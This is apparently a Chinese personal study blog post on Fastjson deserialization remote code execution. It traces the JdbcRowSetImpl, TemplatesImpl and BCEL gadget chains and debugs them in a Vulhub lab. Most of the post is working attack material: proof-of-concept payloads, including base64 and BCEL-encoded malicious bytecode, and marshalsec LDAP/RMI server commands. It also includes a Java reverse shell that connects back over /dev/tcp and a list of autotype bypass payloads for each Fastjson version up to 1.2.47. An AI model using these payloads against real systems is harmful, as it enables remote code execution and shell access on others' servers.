这两天要出去就不再学新东西了,正好两点睡不着了,起来学学fastjson弥补一些接下来的内容。
Fastjson 组件是阿里巴巴开发的反序列化与序列化组件
Fastjson组件在反序列化不可信数据时会导致远程代码执行。究其原因:
依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
POJO 是 Plain OrdinaryJava Object 的缩写,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类
Demo
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) throws Exception{
System.out.println("setAge");
this.age = age;
}
public void setTest(int i){
System.out.println("setTest");
}
public static void test1() throws Exception {
Student student = new Student();
student.setAge(18);
student.setName("Sentiment");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println(jsonString2);
}
public static void test2()throws Exception{
String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
}
public static void main(String[] args) throws Exception {
test1();
//test2();
}
}
结果:
构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{"age":18,"name":"Sentiment"}
{"@type":"fastjson.Student","age":18,"name":"Sentiment"}
test1
可以看到调用JSON.toJSONString
时会自动调用对应的getter
其次是若加上SerializerFeature.WriteClassName
,则返回的内容除属性值外,还会加上@type字段指明类
test2
此时调用test2,将JSON字符串转换成对象
String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
结果:
{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"Sentiment","age":18}
======================
可以看到:
当不加上@type
指明类,是得不到类对象的
当对加上@type
字段的字符串进行转换后,除了能得到类对象外,parse
会调用对应的setter
,parseObject
会调用setter
和getter
这种@type
的方式也叫做autotype:
autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。
set开头的方法要求:
get开头的方法要求:
fastjson<1.2.24
在上边test1中自动调用getter
时应该可以联想到前边shiro反序列化(三)中提到的Commons-Beanutils
链中的动态调用getter
的方法PropertyUtils.getProperty
即:当传入outputProperties
时会自动调用getOutputProperties
,所以这里也可以用这种方式来调用关键的两个方法:setDataSourceName()
和setAutoCommit()
setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
若this.conn==null
,会调用this.connect()
,
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
connect()中若this.getDataSourceName() != null
,则会调用lookup
,进而通过rmi等协议远程类加载
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
所以看一下getDataSourceName()
的值
public String getDataSourceName() {
return dataSource;
}
是由dataSource
决定的,并且在BaseRowSet.setDataSourceName()
中可以决定了他的值
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
而JdbcRowSetImpl.setDataSourceName
调用了BaseRowSet.setDataSourceName()
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
所以基本思路也就出来了,通过@type机制调用dataSourceName
和autoCommit
并对其赋值,调用时自动加上前缀set就调用到了我们刚才说到的两个方法进而触发类加载代码执行
攻击方式也跟JNDI的LDAP方式一样
开启本地服务
python -m http.server 7777
使用marshalsec构建LDAP服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999
poc
package fastjson;
import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
RMI同样也可以
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Exec 9999
poc
package fastjson;
import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
这里的流程挺难理解的,先给出poc之后再根据简单的调试调试分析下内容。
TemplatesPoc.java
package fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TemplatesPoc extends AbstractTranslet {
public TemplatesPoc() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TemplatesPoc t = new TemplatesPoc();
}
}
把字节码base64加密后传入payload
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class Templates {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMZmFzdGpzb24vVGVtcGxhdGVzUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQARVGVtcGxhdGVzUG9jLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAVZmFzdGpzb24vVGVtcGxhdGVzUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"Sentiment\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(jsonString, Feature.SupportNonPublicField);
}
}
调用deserialze
后会调用parseField()
方法
fieldDeserializer.parseField(parser, object, objectType, fieldValues);
跟进后解析出_bytecodes
对应的内容,接着会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
setValue(object, value);
跟进setValue()
,获取method后,经过if判断fieldInfo.getOnly
为false所以进入下边的set方法来设置_bytecodes
的值
接着解析到_outputProperties
的内容时fieldInfo.getOnly
判断为true进入if语句中,调用method.invoke(object)
之后的调用就跟TemplatesImpl
链的一模一样了
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass
调用栈:
<init>:14, TemplatesPoc (fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
getTransletInstance:457, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
main:9, Templates (fastjson)
主要就是利用到不出网常见方式BCEL动态加载字节码
依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
由于下面分析的主要是针对于Fastjson 1.2.22-1.2.24所以,用的是1.2.24版本,并且这种攻击方式需要特定的依赖tomcat-dbcp;其次需要注意这种方式只适用于JDK8u251之前,因为在此之后BCEL类被删除了
恶意类Exec.java
import java.io.IOException;
public class Exec {
public Exec() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
BCEL加载恶意类
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader; //8u_251后移除,注意版本
public class BCELTest {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(Exec.class);
String code = Utility.encode(javaClass.getBytes(),true);
System.out.println("$$BCEL$$"+code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
fastjson进行攻击
import com.alibaba.fastjson.JSON;
public class BCEL {
public static void main(String[] args) {
String payload =
"{\n" +
" {\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$85$91$81qP$k$e2$fb$RW$82$Lg$e3$OcL$M$s$sD$8c$Y$5c$P$b5$8e$r$d0$9a$99b$f8$z7j$5c$f8$B$7e$94$f1v4$88$b1M$7br$ce$3d$a7$b7$ed$c7$e7$db$3b$80C$ecx$c8$a1$e2$a1$8a$a5$3cj$W$97$5d$ac$b8Xe$c8$jI$r$cd1C$b6$de$e818$a7$faV0$y$b6$a5$S$X$e3Q_$c4$d7a$7fHJ$a5$ady8$ec$85$b1$b4$fcGt$cc$bdL$ac$fb$$L$cc$m$d1$whM$Eo2x$ad$J$X$PFj$95$b8X$p$de$d5$e3$98$8b3iS$Fk$3a$Y$84$8f$a1$P$Xy$X$eb$3e6$b0I$c7Q$H$eec$L$db$M$c5$3fG2$94$ac$3f$Y$86$w$K$3a$fd$81$e0$86$a1$9aJR$H$e7$9di$3b$86$f2$af$f1j$ac$8c$iQG$_$SfJj$f5F$fb$9f$87$ee$ec$88$b4$d1$5e$7d$a6$da5$b1TQs6p$Zk$$$92$a4$89$5d$cc$d1$af$da$c1h$d2C$90A$81$d8$J$n$p$5c$d8$7f$B$7bE$a6$92$7d$86s$f3DJ$G$9e$d5$91$a5$3d$H$872EJ$cd$T$f3$bf$T$84$c5$UAU$faWZ$a54W$fe$C$F$f1$9b$ac$cb$B$A$A\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
JSON.parse(payload);
}
}
这里driverClassName后边的内容,就是运行BCELTest.java后输出的需要加载的内容
前边都是一样的,在调用到DefaultJSONParser.java
后,会调用下边的key.toString()
,key就是我们payload中传入的x值
if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}
之后又会调用toJSONString()
public String toString() {
return toJSONString();
}
在前边的POJO中特意提到过,这个toJSONString会默认执行调用类中的getter()
,所以当我们payload传入BasicDataSource
类后,就会调用他对应的getter()——getConnection()
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
最后会调用createDataSource().getConnection();
跟进createDataSource()
,会调用createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
在这个方法中会通过newInstance实例化,进而进行类加载
driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();
整条链前边的调用过程都一样就在最后部分有些变化但链也很短不是很难,主要就是学习一下toString
这个小trick
调用链:
toString() -> toJSONString() -> BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()
vulhub上正好有两个环境打下练练
Vulhub - Docker-Compose file for vulnerability environment
docker-compose up -d
先生成一个恶意攻击的字节码文件,靶场中给到的是执行tough命令创建文件,但这种方式应该只是测试用的不怎么具有攻击性,所以我这里尝试了一下反弹shell(常规反弹shell命令不知道为什么不会被执行,搞了好久。。。。)
shell.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class shell {
public shell() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip1/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
生成字节码文件shell.class
javac shell.java
使用marshalsec构建RMI服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip2:7777/#shell" 9999
开启本地服务
python3 -m http.server 7777
之后用payload直接打就行,注意下Content-type
流程的话就是通过靶场主机,发送payload,访问远程主机的9999端口也就是上边的ip2
,之后因为9999端口开启的rmi服务,所以会直接访问7777
端口的shell.class
,之后执行class文件,进行反弹shell到公网ip(上边的ip1)
Vulhub - Docker-Compose file for vulnerability environment
docker-compose up -d
步骤跟上边的都一样只是poc变了点,主要是源于fastjson有一个cache缓存,在加载类时如果autotype没开启,会先从缓存中获取类,如果有则直接调用
例如缓存中一般都会有java.lang.Class
类,当fastjson发现该类时,就会直接调用他的val
中的类,进而回到了JdbcRowSetImpl
链的利用过程
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip2:9999/Exploit",
"autoCommit":true
}
}
这两条链都是基于1.2.24版本之前的,但在此之后对@type字段的内容进行了检测,所以之后的版本出现了很多对应的检测机制和绕过方法,这里就简单的总结下各版本bypass的payload(所有大于当前版本的bypass方式都适用于在此版本之前的版本):
fastjson 1.2.25-1.2.41
增加了checkAutoType()
检测,但以L开头;结尾,可以绕过该方法的检测。
poc
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\", \"autoCommit\":true}";
JSON.parse(jsonString);
fastjson 1.2.42
对L和;进行了过滤,但只过滤一次所以双写绕过。
poc
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\", \"autoCommit\":true}";
JSON.parse(jsonString);
fastjson 1.2.43
双写也不行了。但除此外还会对[
特殊处理,这里用[ xxxxxx[{
,即可绕过
String jsonString = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\", \"autoCommit\":true}";
JSON.parse(jsonString);
fastjson 1.2.44 — fastjson 1.2.45
条件需要开启autotype,45把之前问题修了,但是可以借助第三方组件绕过。需要mybatis,且版本需为3.x.x系列<3.5.0的版本。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.0.1:9999/Exec"}}
fastjson 1.2.46 — fastjson 1.2.47
cache通杀,之前的版本都适用
这里有两大版本范围:
简而言之不开autoTypeSupport
就行
String jsonString = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"rmi://127.0.0.1:9999/Exec\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
JSON.parse(jsonString);
BasicDataSource方式在47版本之前也有对应的bypass
Fastjson 1.2.22-1.2.24
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
1.2.33<=fastjson<=12.36
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL..."
}
} : "ddd"
}
}
1.2.33 <= fastjson <= 1.2.47
{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL...."
}
} : "xxx"
}
}
1.2.37<=fastjson<=1.2.47
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$..",
"$ref": "$.x.y.c.connection"
}
}
}
}
后边还有更高版本的绕过,但都需要对应的包,可以参考一下:
https://github.com/safe6Sec/Fastjson
Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链_OceanSec的博客-CSDN博客_fastjson jndi注入
Java安全]fastjson学习_bfengj的博客-CSDN博客_fastjson学习
Fastjson 1.2.22-1.2.24反序列化漏洞分析 - 先知社区 (aliyun.com)
JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)